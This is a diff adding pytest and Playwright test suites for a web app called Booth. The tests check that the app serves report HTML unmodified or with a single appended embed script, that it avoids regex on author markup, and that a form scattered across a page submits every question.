|
||||
"""`booth_view` already recorded the look, above both of its early returns.
|
||||
A script's fetch of the page it is already on must not count a second time
|
||||
or reset the TTL on machinery instead of on the operator."""
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
(b / "index.html").write_text(DECLARED)
|
||||
c.get("/b/b/")
|
||||
before = os.stat(b / ".viewed").st_mtime_ns
|
||||
time.sleep(0.01)
|
||||
c.get("/b/b/embed.json")
|
||||
assert os.stat(b / ".viewed").st_mtime_ns == before
|
||||
|
||||
|
||||
def test_embed_payload_404s_for_an_unknown_booth(client):
|
||||
c, _ = client
|
||||
assert c.get("/b/nope/embed.json").status_code == 404
|
||||
|
||||
|
||||
# ---- slice 2: the one static asset -------------------------------------------
|
||||
|
||||
|
||||
def test_embed_js_is_served_as_javascript(client):
|
||||
c, _ = client
|
||||
r = c.get(EMBED_SRC)
|
||||
assert r.status_code == 200
|
||||
assert r.headers["content-type"].startswith("text/javascript")
|
||||
assert "data-booth-mark" in r.text
|
||||
|
||||
|
||||
def test_embed_js_does_not_hot_reload_from_disk(tmp_path):
|
||||
"""INV-5, and the 2026-09-21 lesson restated. A live asset editable under a
|
||||
running process is how 19 of 25 booths hit 500 with the Python from 22:03
|
||||
and the templates from 23:40. One rule in this repo: nothing takes effect
|
||||
until you restart."""
|
||||
import pathlib
|
||||
|
||||
import booth.app as app_mod
|
||||
|
||||
src = pathlib.Path(app_mod.__file__).parent / "static" / "embed.js"
|
||||
original = src.read_text()
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
c = TestClient(app)
|
||||
try:
|
||||
# Poisoned BEFORE the first request, not between two of them. The
|
||||
# earlier shape passed for a route that read the file lazily and cached
|
||||
# on first use — which is not "read once at startup", and is exactly the
|
||||
# staleness this invariant exists to forbid.
|
||||
src.write_text("/* POISONED */\n")
|
||||
first = c.get(EMBED_SRC).text
|
||||
assert "POISONED" not in first, "embed.js is read at request time, not at startup"
|
||||
assert first == original
|
||||
assert c.get(EMBED_SRC).text == first
|
||||
finally:
|
||||
src.write_text(original)
|
||||
|
||||
|
||||
# ---- slice 3: what the Booth does to author HTML -----------------------------
|
||||
|
||||
|
||||
def test_declaring_page_is_served_untouched(client):
|
||||
"""INV-1. Whole-body equality, not a substring absence: the promise is that
|
||||
NOTHING is added, and an absence assertion cannot tell a clean page from one
|
||||
carrying something nobody thought to look for."""
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
(b / "index.html").write_text(DECLARED)
|
||||
assert c.get("/b/b/").text == DECLARED
|
||||
|
||||
|
||||
def test_undeclared_page_gains_only_the_tag(client):
|
||||
"""INV-2. Appended, so the source is a strict prefix — nothing is inserted,
|
||||
nothing is prepended, and neither the doctype nor the charset window moves."""
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
src = "<!doctype html><meta charset=utf-8><title>r</title><h1>REPORT</h1>"
|
||||
(b / "index.html").write_text(src)
|
||||
out = c.get("/b/b/").text
|
||||
# The literal, not just the constant: `out == src + EMBED_SCRIPT_TAG` also
|
||||
# holds when EMBED_SCRIPT_TAG is the empty string, which is a mutation this
|
||||
# test exists to catch. A panel found it by reading the assertion, not the
|
||||
# code.
|
||||
assert out == src + '<script src="/_booth/embed.js" defer></script>'
|
||||
assert out == src + EMBED_SCRIPT_TAG
|
||||
assert len(out) > len(src)
|
||||
assert out.lower().lstrip().startswith("<!doctype")
|
||||
assert out.index("charset") < 1024
|
||||
|
||||
|
||||
def test_a_booth_with_no_marks_still_gets_the_seam(client):
|
||||
"""The seam carries the way home and the icon too, so it is not conditional
|
||||
on there being an ask — the old chip was not either."""
|
||||
c, data = client
|
||||
(data / "b").mkdir()
|
||||
(data / "b" / "index.html").write_text("<h1>bare fragment</h1>")
|
||||
assert c.get("/b/b/").text == "<h1>bare fragment</h1>" + EMBED_SCRIPT_TAG
|
||||
|
||||
|
||||
def test_a_declaring_page_is_served_BYTE_for_byte(client):
|
||||
"""INV-1, at the level the promise is actually made.
|
||||
|
||||
The first version read the file with `read_text()`, which opens in
|
||||
universal-newline mode: a report written with CRLF came back with LF, and
|
||||
`errors="replace"` turned any non-UTF-8 byte into U+FFFD. A declaring page
|
||||
was NOT served as its author wrote it — the headline promise — and the
|
||||
original test could not see it, because its fixture was LF-only ASCII.
|
||||
Found by a cross-frontier bug-hunt panel.
|
||||
"""
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
src = (b'<!doctype html>\r\n<title>r</title>\r\n<body>caf\xe9 \xff\r\n'
|
||||
b'<script src="/_booth/embed.js" defer></script>\r\n</body>')
|
||||
(b / "index.html").write_bytes(src)
|
||||
r = c.get("/b/b/")
|
||||
assert r.content == src, "the operator's document was edited on the way out"
|
||||
assert b"\r\n" in r.content and b"\xff" in r.content
|
||||
|
||||
|
||||
def test_an_undeclared_page_keeps_every_byte_and_gains_the_tag(client):
|
||||
"""INV-2, same level: the source is a BYTE-exact prefix of the response."""
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
src = b'<!doctype html>\r\n<title>r</title>\r\n<body>caf\xe9 \xff\r\n</body>'
|
||||
(b / "index.html").write_bytes(src)
|
||||
r = c.get("/b/b/")
|
||||
assert r.content == src + EMBED_SCRIPT_TAG.encode("utf-8")
|
||||
assert r.content.startswith(src)
|
||||
|
||||
|
||||
def test_a_wrongly_shaped_answer_costs_its_pick_not_the_report(client):
|
||||
"""`marks_for` hydrates `{"answer": {"answers": []}}` with no error — the
|
||||
JSON is well formed, the SHAPE is not — and the template then asks a list
|
||||
for `.get`. This endpoint renders every pick on every load of the operator's
|
||||
report, so an unguarded raise here is the whole seam gone while `hold_read`
|
||||
calls the file perfectly readable. Verified reachable, not assumed."""
|
||||
c, data = client
|
||||
b = data / "b"
|
||||
b.mkdir(parents=True, exist_ok=True)
|
||||
declare_pick(b, "batch", {"title": "T", "questions": [
|
||||
{"key": "r1", "prompt": "A?", "options": ["x", "y"]},
|
||||
{"key": "r2", "prompt": "B?", "options": ["x", "y"]}]})
|
||||
_pick(b, "healthy")
|
||||
raw = json.loads((b / ".marks.json").read_text())
|
||||
for e in raw["marks"]:
|
||||
if e["id"] == "batch":
|
||||
e["answer"] = {"answers": [], "notes": ""}
|
||||
(b / ".marks.json").write_text(json.dumps(raw))
|
||||
|
||||
(b / "index.html").write_text(DECLARED)
|
||||
r = c.get("/b/b/embed.json")
|
||||
assert r.status_code == 200
|
||||
by = {m["id"]: m for m in r.json()["marks"]}
|
||||
# THE PROMISE, NOT THE LAYER. This used to pin the string
|
||||
# `_safe_fragments` produces ("could not be rendered"), which made the test
|
||||
# an assertion about WHICH guard fired. As of the `_hydrate` answer-shape
|
||||
# check, this input is caught one layer earlier and never reaches
|
||||
# `_pick_fragments` at all — the endpoint's promise is unchanged and the
|
||||
# error is better (it names what is wrong with the stored answer instead of
|
||||
# reporting a render failure), so the assertion moved to the promise.
|
||||
# `_safe_fragments` is still the backstop and is still falsified, by
|
||||
# `test_safe_fragments_still_catches_what_hydration_cannot` below.
|
||||
assert by["batch"]["error"], "a wrong-shaped answer reported no error"
|
||||
assert "broken ask" in by["batch"]["whole"]
|
||||
# and the booth's other pick is untouched — one bad entry costs one entry
|
||||
assert by["healthy"]["error"] is None
|
||||
assert "Which render wins?" in by["healthy"]["whole"]
|
||||
assert c.get("/b/b/").status_code == 200
|
||||
|
||||
# ⚠ THE GALLERY AND MARKS PAGES USED TO 500 ON THIS ENTRY, and that was NOT
|
||||
# U3's doing — measured at 42ea67f, the commit before that unit. CLOSED
|
||||
# 2026-09-22 at the hydration boundary rather than by a third copy of this
|
||||
# guard: see tests/test_marks.py
|
||||
# ::test_a_wrong_shaped_answer_is_an_error_at_hydration_not_a_500 and
|
||||
# persistent-memory.d/2026-09-22-a-wrong-shaped-answer-500s-the-gallery.md
|
||||
|
||||
|
||||
def test_safe_fragments_still_catches_what_hydration_cannot(client):
|
||||
"""U3's `_safe_fragments` guard, kept falsifiable after `_hydrate` took its
|
||||
natural trigger away.
|
||||
|
||||
The answer-shape check in `_hydrate` now catches every wrong answer shape
|
||||
reachable from a `.marks.json` — probed 2026-09-22: `answers` as a list, a
|
||||
string or null all become hydration errors, and a wrong-typed VALUE inside
|
||||
`answers` renders without raising, because Jinja absorbs attribute access
|
||||
on a non-mapping. **No natural input reaches `_safe_fragments` by this
|
||||
route any more**, and a test that kept pretending one did would assert
|
||||
nothing — which is the failure this suite has now paid for twice.
|
||||
|
||||
So the trigger is synthetic and says so: the shared `_ask_inline` macro
|
||||
module is made to raise. `_pick_fragments` resolves `whole` off that object
|
||||
per call, and `create_app` stashes the environment on `app.state`, so this
|
||||
reaches the very object the closure captured. What it pins is the guard
|
||||
itself — one raising pick costs that pick, never the report.
|
||||
|
||||
Defeating change: removing the try/except in `_safe_fragments`, under which
|
||||
this returns 500.
|
||||
"""
|
||||
c, data = client
|
||||
b = data / "b"
|
||||
b.mkdir(parents=True, exist_ok=True)
|
||||
declare_pick(b, "batch", {"prompt": "Which?", "options": ["x", "y"]})
|
||||
(b / "index.html").write_text(DECLARED)
|
||||
|
||||
frag = c.app.state.templates.env.get_template("_ask_inline.html").module
|
||||
real_submit = frag.submit
|
||||
|
||||
def explode(*a, **k):
|
||||
raise RuntimeError("synthetic render failure")
|
||||
|
||||
object.__setattr__(frag, "submit", explode)
|
||||
try:
|
||||
assert frag.submit is explode, "the patch did not take; this test is vacuous"
|
||||
r = c.get("/b/b/embed.json")
|
||||
assert r.status_code == 200, "a raising fragment renderer took the whole report"
|
||||
by = {m["id"]: m for m in r.json()["marks"]}
|
||||
assert by["batch"]["error"] and "could not be rendered" in by["batch"]["error"]
|
||||
assert by["batch"]["whole"], "the fallback rendered nothing at all"
|
||||
finally:
|
||||
object.__setattr__(frag, "submit", real_submit)
|
||||
|
||||
# and the guard is not sticky — with the macro restored, the pick is fine
|
||||
assert c.get("/b/b/embed.json").json()["marks"][0]["error"] is None
|
||||
|
||||
|
||||
def test_the_handler_survives_the_failure_it_is_handling(client):
|
||||
"""`_safe_fragments` caught a raising `_pick_fragments` and then rebuilt the
|
||||
broken-ask box THROUGH THE SAME MACRO MODULE that had just raised. So when
|
||||
`whole` itself was the broken thing, the handler re-raised and took the
|
||||
whole report — a guard that only worked when the failure was somewhere
|
||||
else.
|
||||
|
||||
Found by accident: the first draft of the falsifier above patched `whole`,
|
||||
and the guard failed rather than caught. Defeating change: removing the
|
||||
inner try/except, under which this returns 500."""
|
||||
c, data = client
|
||||
b = data / "b"
|
||||
b.mkdir(parents=True, exist_ok=True)
|
||||
declare_pick(b, "batch", {"prompt": "Which?", "options": ["x", "y"]})
|
||||
(b / "index.html").write_text(DECLARED)
|
||||
|
||||
frag = c.app.state.templates.env.get_template("_ask_inline.html").module
|
||||
real_whole = frag.whole
|
||||
|
||||
def explode(*a, **k):
|
||||
raise RuntimeError("even the fallback macro is broken")
|
||||
|
||||
object.__setattr__(frag, "whole", explode)
|
||||
try:
|
||||
r = c.get("/b/b/embed.json")
|
||||
assert r.status_code == 200, "the handler re-raised through the broken macro"
|
||||
assert r.json()["marks"][0]["error"]
|
||||
finally:
|
||||
object.__setattr__(frag, "whole", real_whole)
|
||||
|
||||
|
||||
def test_no_regex_touches_author_html():
|
||||
"""INV-3, and the version that actually falsifies it.
|
||||
|
||||
The first draft of this test name-matched the six deleted patterns. A cold
|
||||
panel pointed out — correctly, and on the contract's CENTRAL promise — that
|
||||
reintroducing the same regex under a new name (`_TAIL_RE`, applied in the
|
||||
verbatim branch) would leave it green. A test that guards names does not
|
||||
guard behaviour, and this repo's own vacuity pass missed it because the
|
||||
mutation it tried was the named one.
|
||||
|
||||
So: `booth/app.py` is allowed EXACTLY ONE regex operation, and it is
|
||||
`ask_form_id`'s `re.sub` over a mark id — not over a page. Any other regex
|
||||
anywhere in the module fails here, whatever it is called. If a future
|
||||
change genuinely needs one, the failure is the conversation: say which
|
||||
string it reads and why it is not author HTML.
|
||||
"""
|
||||
import ast
|
||||
import pathlib
|
||||
|
||||
import booth.app as app_mod
|
||||
|
||||
root = pathlib.Path(app_mod.__file__).parent
|
||||
assert not (root / "inline.py").exists(), "booth/inline.py survived U3"
|
||||
tree = ast.parse((root / "app.py").read_text())
|
||||
|
||||
# every node -> the function it sits in, so a finding names its site
|
||||
site = {}
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
|
||||
for child in ast.walk(node):
|
||||
site.setdefault(child, node.name)
|
||||
|
||||
# `re` reaches this module ONE way: a plain module-level `import re`. An
|
||||
# alias (`import re as _r`) or a direct name import (`from re import sub`)
|
||||
# would route around the call check below under a name it does not know —
|
||||
# found by re-running the vacuity pass against the FIXED test, which is the
|
||||
# only reason it is here and is the argument for running that pass on a fix
|
||||
# and not only on a draft.
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.Import):
|
||||
for a in node.names:
|
||||
assert not (a.name == "re" and a.asname), f"`re` aliased as {a.asname}"
|
||||
elif isinstance(node, ast.ImportFrom):
|
||||
assert node.module != "re", f"names imported from re: {[a.name for a in node.names]}"
|
||||
|
||||
METHODS = {"search", "sub", "subn", "match", "fullmatch", "finditer",
|
||||
"findall", "split", "compile", "escape"}
|
||||
found = []
|
||||
for node in ast.walk(tree):
|
||||
if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
|
||||
continue
|
||||
f = node.func
|
||||
on_re = isinstance(f.value, ast.Name) and f.value.id == "re"
|
||||
on_pattern = (isinstance(f.value, ast.Name) and f.value.id.endswith("_RE")
|
||||
and f.attr in METHODS)
|
||||
if on_re or on_pattern:
|
||||
found.append((site.get(node, "<module level>"), f.attr))
|
||||
|
||||
assert found == [("ask_form_id", "sub")], (
|
||||
f"booth/app.py performs regex operations outside ask_form_id: {found}"
|
||||
)
|
||||
|
||||
# the six named patterns and the chips are gone, and stay gone
|
||||
assigned = {
|
||||
t.id
|
||||
for node in ast.walk(tree)
|
||||
if isinstance(node, ast.Assign)
|
||||
for t in node.targets
|
||||
if isinstance(t, ast.Name)
|
||||
}
|
||||
gone = {"_ICON_RE", "_HEAD_CLOSE_RE", "_HTML_OPEN_RE", "_DOCTYPE_RE",
|
||||
"_BODY_CLOSE_RE", "_HTML_CLOSE_RE", "_BACK_CHIP", "FAVICON_LINK"}
|
||||
assert not (assigned & gone), f"deleted names are back: {sorted(assigned & gone)}"
|
||||
funcs = {n.name for n in ast.walk(tree) if isinstance(n, ast.FunctionDef)}
|
||||
assert not ({"wrap_verbatim_html", "asks_chip", "inject_asks",
|
||||
"_insert_before", "_insert_after"} & funcs)
|
||||
|
||||
|
||||
def test_a_page_that_only_mentions_the_path_is_not_declaring_it(client):
|
||||
"""A report that QUOTES the seam — a code sample, a comment, a sentence
|
||||
about this very feature — is not declaring it, and the Booth's own design
|
||||
reports are the pages most likely to do that. Read as declared, such a page
|
||||
would be served untouched and show no chrome at all, silently.
|
||||
|
||||
The detection therefore fails the other way: an unrecognised spelling gets a
|
||||
duplicate tag, and embed.js mounts once regardless.
|
||||
"""
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
for body in (
|
||||
"<!doctype html><body><p>add <code>/_booth/embed.js</code> to your report</p></body>",
|
||||
"<!doctype html><body><!-- src=/_booth/embed.js --></body>",
|
||||
'<!doctype html><body><script src="/_booth/embed.js?v=2"></script></body>',
|
||||
):
|
||||
(b / "index.html").write_text(body)
|
||||
assert c.get("/b/b/").text == body + EMBED_SCRIPT_TAG, body
|
||||
|
||||
# and the real declaration, in either quote style, is honoured
|
||||
for decl in (f'<script src="{EMBED_SRC}" defer></script>',
|
||||
f"<script src='{EMBED_SRC}' defer></script>"):
|
||||
body = f"<!doctype html><body>hi{decl}</body>"
|
||||
(b / "index.html").write_text(body)
|
||||
assert c.get("/b/b/").text == body
|
||||
|
||||
|
||||
def test_an_oversize_verbatim_page_is_served_raw(client, monkeypatch):
|
||||
"""WRAP_MAX_BYTES survives: a pathological file is still not pulled into
|
||||
memory, and it loses its chrome exactly as it does today."""
|
||||
import booth.app as app_mod
|
||||
|
||||
c, data = client
|
||||
b = _pick(data / "b")
|
||||
(b / "index.html").write_text("<h1>huge</h1>")
|
||||
monkeypatch.setattr(app_mod, "WRAP_MAX_BYTES", 4)
|
||||
assert c.get("/b/b/").text == "<h1>huge</h1>"
|
||||
@@ -0,0 +1,672 @@
|
||||
"""U3 — the declared embed seam, in a real DOM.
|
||||
|
||||
The Python suite can prove what the server OFFERS. It cannot prove where a
|
||||
fragment lands, whether the author's own markup survived the mount, or whether
|
||||
four radio groups scattered down a report still submit as one POST — and that
|
||||
last one is the operator's most important workflow. Before U3 those properties
|
||||
were true by construction, because the server did the placing and the `form=`
|
||||
bindings were static by the time the page was parsed. Now they are true because
|
||||
`/_booth/embed.js` does it in a live document, which is a different kind of
|
||||
claim and needs a different kind of test.
|
||||
|
||||
So: a real uvicorn on an ephemeral port, a real Chromium.
|
||||
|
||||
SKIPS, NEVER FAILS, when playwright or the shared browser is unavailable. The
|
||||
box-wide store at /opt/ms-playwright pins specific Chromium revisions and a
|
||||
playwright release that wants a newer one dies with an opaque "Executable
|
||||
doesn't exist" — see pyproject's version bound. A test layer that goes red for
|
||||
an environment reason teaches nothing and trains people to ignore it.
|
||||
"""
|
||||
import json
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
import pytest
|
||||
|
||||
from booth.app import create_app
|
||||
|
||||
playwright_api = pytest.importorskip(
|
||||
"playwright.sync_api", reason="playwright is not installed"
|
||||
)
|
||||
|
||||
|
||||
# NO INTERNET for the test browser. Every Booth page asks fonts.googleapis.com
|
||||
# for its faces, and "networkidle" waits for that request — so a stalled request
|
||||
# to Google hung the page until goto's 30s timeout, the failure mode of the
|
||||
# full-suite flake (Page.goto timeouts in tests far apart in one run; a stalled
|
||||
# font request reproduces it exactly). Whether that was THE cause is unproven;
|
||||
# a test that depends on Google being reachable is wrong regardless. Every
|
||||
# hostname but 127.0.0.1 now fails DNS at once, and the pages fall back to the
|
||||
# system stacks the tokens declare. Positive control: test_*_has_no_internet.
|
||||
OFFLINE = ["--host-resolver-rules=MAP * ~NOTFOUND , EXCLUDE 127.0.0.1"]
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def browser():
|
||||
with playwright_api.sync_playwright() as pw:
|
||||
try:
|
||||
b = pw.chromium.launch(args=OFFLINE)
|
||||
except Exception as exc: # noqa: BLE001 - any launch failure is a skip
|
||||
pytest.skip(f"no usable chromium: {exc}")
|
||||
yield b
|
||||
b.close()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def live(tmp_path):
|
||||
"""A real server, because a browser cannot talk to a TestClient."""
|
||||
import uvicorn
|
||||
|
||||
sock = socket.socket()
|
||||
sock.bind(("127.0.0.1", 0))
|
||||
port = sock.getsockname()[1]
|
||||
# ⚠ THE SOCKET IS HANDED TO UVICORN STILL BOUND, never closed and
|
||||
# re-opened by port number. The old form did bind -> getsockname -> CLOSE ->
|
||||
# tell uvicorn the number, which leaves a window where the kernel can give
|
||||
# that port to somebody else — and this suite runs TWO browser files that
|
||||
# each start a server per test, so the other one is right there competing
|
||||
# for it. Passing the live socket removes the window rather than narrowing
|
||||
# it.
|
||||
#
|
||||
# Honest about the evidence: two different browser tests failed once each
|
||||
# across full-suite runs while passing 3/3 and 5/5 on their own, which is
|
||||
# the signature of contention. We cannot prove from two samples that this
|
||||
# race was the cause. It is a real defect either way, and it is the only
|
||||
# one visible in the harness.
|
||||
|
||||
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
config = uvicorn.Config(app, host="127.0.0.1", port=port, log_level="error")
|
||||
server = uvicorn.Server(config)
|
||||
thread = threading.Thread(target=lambda: server.run(sockets=[sock]), daemon=True)
|
||||
thread.start()
|
||||
deadline = time.time() + 10
|
||||
while not server.started and time.time() < deadline:
|
||||
time.sleep(0.02)
|
||||
if not server.started:
|
||||
pytest.skip("uvicorn did not come up")
|
||||
try:
|
||||
yield f"http://127.0.0.1:{port}", tmp_path
|
||||
finally:
|
||||
server.should_exit = True
|
||||
thread.join(timeout=10)
|
||||
|
||||
|
||||
PNG = b"\x89PNG\r\n\x1a\n"
|
||||
SEAM = '<script src="/_booth/embed.js" defer></script>'
|
||||
|
||||
|
||||
def _multi(booth):
|
||||
from booth.marks import declare_pick
|
||||
|
||||
booth.mkdir(parents=True, exist_ok=True)
|
||||
declare_pick(booth, "batch", {"title": "Round one", "questions": [
|
||||
{"key": "r1", "prompt": "First?", "options": ["keep", "cut"]},
|
||||
{"key": "r2", "prompt": "Second?", "options": ["keep", "cut"]},
|
||||
]})
|
||||
return booth
|
||||
|
||||
|
||||
def _single(booth):
|
||||
from booth.marks import declare_pick
|
||||
|
||||
booth.mkdir(parents=True, exist_ok=True)
|
||||
declare_pick(booth, "winner", {"prompt": "Which render wins?",
|
||||
"options": ["A — baseline", "B — async"]})
|
||||
return booth
|
||||
|
||||
|
||||
def _open(browser, base, name, html, booth):
|
||||
(booth / "index.html").write_text(html, encoding="utf-8")
|
||||
page = browser.new_page()
|
||||
page.goto(f"{base}/b/{name}/", wait_until="networkidle")
|
||||
return page
|
||||
|
||||
|
||||
def _answer(booth):
|
||||
raw = json.loads((booth / ".marks.json").read_text())
|
||||
return raw["marks"][0].get("answer")
|
||||
|
||||
|
||||
# ---- the chrome --------------------------------------------------------------
|
||||
|
||||
|
||||
def test_a_declaring_page_gets_its_chrome_mounted(browser, live):
|
||||
base, data = live
|
||||
b = _single(data / "b")
|
||||
page = _open(browser, base, "b", f"<!doctype html><title>r</title><body><h1>R</h1>{SEAM}</body>", b)
|
||||
page.wait_for_selector(".booth-nav-home")
|
||||
assert page.locator("h1").inner_text() == "R" # the report is intact
|
||||
assert page.locator(".booth-nav-home").get_attribute("href").endswith("/")
|
||||
# the favicon question, asked of a parsed document instead of raw text
|
||||
assert page.locator('link[rel="icon"]').count() == 1
|
||||
page.close()
|
||||
|
||||
|
||||
def test_a_page_that_never_declared_the_seam_still_mounts(browser, live):
|
||||
"""The appended path: every verbatim booth that predates U3 keeps working
|
||||
without its author touching it."""
|
||||
base, data = live
|
||||
b = _single(data / "b")
|
||||
page = _open(browser, base, "b", "<!doctype html><body><h1>OLD</h1></body>", b)
|
||||
page.wait_for_selector(".bk-ask")
|
||||
assert page.locator("h1").inner_text() == "OLD"
|
||||
assert page.locator(".booth-nav-home").count() == 1
|
||||
page.close()
|
||||
|
||||
|
||||
def test_a_page_that_declares_its_own_icon_keeps_it(browser, live):
|
||||
base, data = live
|
||||
b = _single(data / "b")
|
||||
page = _open(
|
||||
browser, base, "b",
|
||||
f'<!doctype html><head><link rel="icon" href="data:image/png;base64,AAAA">'
|
||||
f"</head><body>x{SEAM}</body>", b)
|
||||
page.wait_for_selector(".booth-nav-home")
|
||||
icons = page.locator('link[rel="icon"]')
|
||||
assert icons.count() == 1
|
||||
assert icons.get_attribute("href").startswith("data:image/png")
|
||||
page.close()
|
||||
|
||||
|
||||
# ---- placement ---------------------------------------------------------------
|
||||
|
||||
|
||||
REPORT = f"""<!doctype html><title>audition</title><body>
|
||||
<h1>Three voices</h1>
|
||||
<section id="lawson"><audio src="a.wav"></audio>
|
||||
<div data-booth-ask="batch:r1"></div></section>
|
||||
<section id="jo"><audio src="b.wav"></audio>
|
||||
<div data-booth-mark="batch:r2"></div></section>
|
||||
<div data-booth-ask-submit="batch"></div>
|
||||
{SEAM}
|
||||
</body>"""
|
||||
|
||||
|
||||
def test_each_question_lands_where_the_author_put_it(browser, live):
|
||||
"""The 2026-09-09 ruling, enforced in the DOM: the question for a voice sits
|
||||
under that voice, not on another page and not in a pile at the end. Both
|
||||
attribute spellings, because live reports use the older one."""
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b", REPORT, b)
|
||||
page.wait_for_selector("#lawson .bk-ask")
|
||||
assert page.locator('#lawson input[name="choice.r1"]').count() == 2
|
||||
assert page.locator('#jo input[name="choice.r2"]').count() == 2
|
||||
# nothing spilled to the end of the body: every piece had an anchor
|
||||
assert page.locator("body > .bk-ask").count() == 0
|
||||
assert page.locator("form#bk-ask-form-batch").count() == 1
|
||||
page.close()
|
||||
|
||||
|
||||
def test_the_authors_wrapper_and_its_contents_survive_the_mount(browser, live):
|
||||
"""The live `dfa-concepts` shape — a non-empty styled wrapper carrying the
|
||||
anchor attribute. The regex this replaced matched the opening tag and
|
||||
SUBSTITUTED it, eating the class and orphaning the heading. beforeend keeps
|
||||
both and puts the radios under the heading, which is what the markup says."""
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b", (
|
||||
'<!doctype html><body><div class="ask" data-booth-ask="batch:r1">'
|
||||
f"<h3>The one asset that must survive</h3></div>{SEAM}</body>"), b)
|
||||
page.wait_for_selector(".ask .bk-ask")
|
||||
assert page.locator("div.ask").count() == 1 # class kept
|
||||
assert page.locator(".ask h3").inner_text() == "The one asset that must survive"
|
||||
assert page.locator('.ask input[name="choice.r1"]').count() == 2 # radios inside
|
||||
page.close()
|
||||
|
||||
|
||||
def test_an_unplaced_question_is_appended_and_so_is_its_submit(browser, live):
|
||||
"""INV-7. A multi-question pick needs EVERY question on submit or the POST is
|
||||
unanswerable: a question that never reaches the page cannot be picked, and
|
||||
a submission with nothing picked at all is refused outright."""
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b",
|
||||
f'<!doctype html><body><div data-booth-mark="batch:r1"></div>{SEAM}</body>', b)
|
||||
# attached, not visible: the shared <form> is deliberately empty and so has
|
||||
# no box — the controls that bind to it are what the operator sees.
|
||||
page.wait_for_selector("form#bk-ask-form-batch", state="attached")
|
||||
# BOTH halves. Asserting only the appended r2 let a mutation that silently
|
||||
# swallowed the anchored r1 — while still recording it as placed — pass.
|
||||
assert page.locator('input[name="choice.r1"]').count() == 2 # anchored, mounted
|
||||
assert page.locator('input[name="choice.r2"]').count() == 2 # unplaced, appended
|
||||
assert page.locator("form#bk-ask-form-batch").count() == 1 # submittable
|
||||
page.close()
|
||||
|
||||
|
||||
def test_a_page_with_no_anchors_gets_the_whole_ask(browser, live):
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b", f"<!doctype html><body><p>x</p>{SEAM}</body>", b)
|
||||
page.wait_for_selector(".bk-ask")
|
||||
assert page.locator('input[name="choice.r1"]').count() == 2
|
||||
assert page.locator('input[name="choice.r2"]').count() == 2
|
||||
page.close()
|
||||
|
||||
|
||||
def test_an_anchor_naming_no_mark_is_left_alone(browser, live):
|
||||
"""A typo'd id stays visible as the author's own empty element rather than
|
||||
being blanked — and the real ask is still never lost."""
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b",
|
||||
f'<!doctype html><body><div id="t" data-booth-mark="typo"></div>{SEAM}</body>', b)
|
||||
page.wait_for_selector(".bk-ask")
|
||||
assert page.locator("#t").inner_html().strip() == ""
|
||||
assert page.locator('input[name="choice.r1"]').count() == 2
|
||||
page.close()
|
||||
|
||||
|
||||
def test_the_tail_follows_payload_order(browser, live):
|
||||
"""INV-6. Creation order and alphabetical order DISAGREE here on purpose:
|
||||
`winner` is created first, `batch` second, so payload order is
|
||||
winner-then-batch while an id sort would give the reverse. The first version
|
||||
of this fixture made the two identical, so sorting the tail alphabetically
|
||||
in JavaScript passed it — caught by a panel reading the fixture."""
|
||||
base, data = live
|
||||
b = _single(data / "b")
|
||||
_multi(b)
|
||||
raw = json.loads((b / ".marks.json").read_text())
|
||||
stamps = {"winner": "2026-09-22T10:00:00.000000-07:00", # first
|
||||
"batch": "2026-09-22T11:00:00.000000-07:00"} # second
|
||||
for e in raw["marks"]:
|
||||
e["created"] = stamps[e["id"]]
|
||||
(b / ".marks.json").write_text(json.dumps(raw))
|
||||
page = _open(browser, base, "b", f"<!doctype html><body>{SEAM}</body>", b)
|
||||
page.wait_for_selector(".bk-ask")
|
||||
ids = page.eval_on_selector_all("[id^='bk-ask-']", "els => els.map(e => e.id)")
|
||||
batch = [i for i, v in enumerate(ids) if "batch" in v]
|
||||
winner = [i for i, v in enumerate(ids) if "winner" in v]
|
||||
assert batch and winner, ids
|
||||
# winner (created first) ahead of batch (created second) — the OPPOSITE of
|
||||
# alphabetical, so an id sort cannot pass this.
|
||||
assert max(winner) < min(batch), ids
|
||||
page.close()
|
||||
|
||||
|
||||
# ---- the one that actually matters ------------------------------------------
|
||||
|
||||
|
||||
def test_a_form_scattered_down_the_report_submits_every_question(browser, live):
|
||||
"""THE load-bearing browser test.
|
||||
|
||||
Four radio groups under four different artifacts, one <form> somewhere else
|
||||
entirely, bound only by the HTML5 `form=` attribute — and now inserted into
|
||||
a live document in visual order, which means a control can land before the
|
||||
form it points at. If form-owner resolution does not survive that, the
|
||||
operator fills the whole thing in and the button saves nothing.
|
||||
|
||||
It was true by construction before U3 (static HTML, resolved at parse). It
|
||||
is true by measurement now. That is the trade this test pays for.
|
||||
"""
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b", REPORT, b)
|
||||
page.wait_for_selector("#lawson .bk-ask")
|
||||
page.check('#lawson input[name="choice.r1"][value="keep"]')
|
||||
page.check('#jo input[name="choice.r2"][value="cut"]')
|
||||
with page.expect_navigation():
|
||||
page.click("button.bk-ask-go")
|
||||
ans = _answer(b)
|
||||
assert ans is not None, "the scattered form submitted nothing"
|
||||
assert ans["answers"]["r1"]["choice"] == "keep"
|
||||
assert ans["answers"]["r2"]["choice"] == "cut", \
|
||||
"a question bound by form= did not reach the POST"
|
||||
assert ans["complete"] is True
|
||||
page.close()
|
||||
|
||||
|
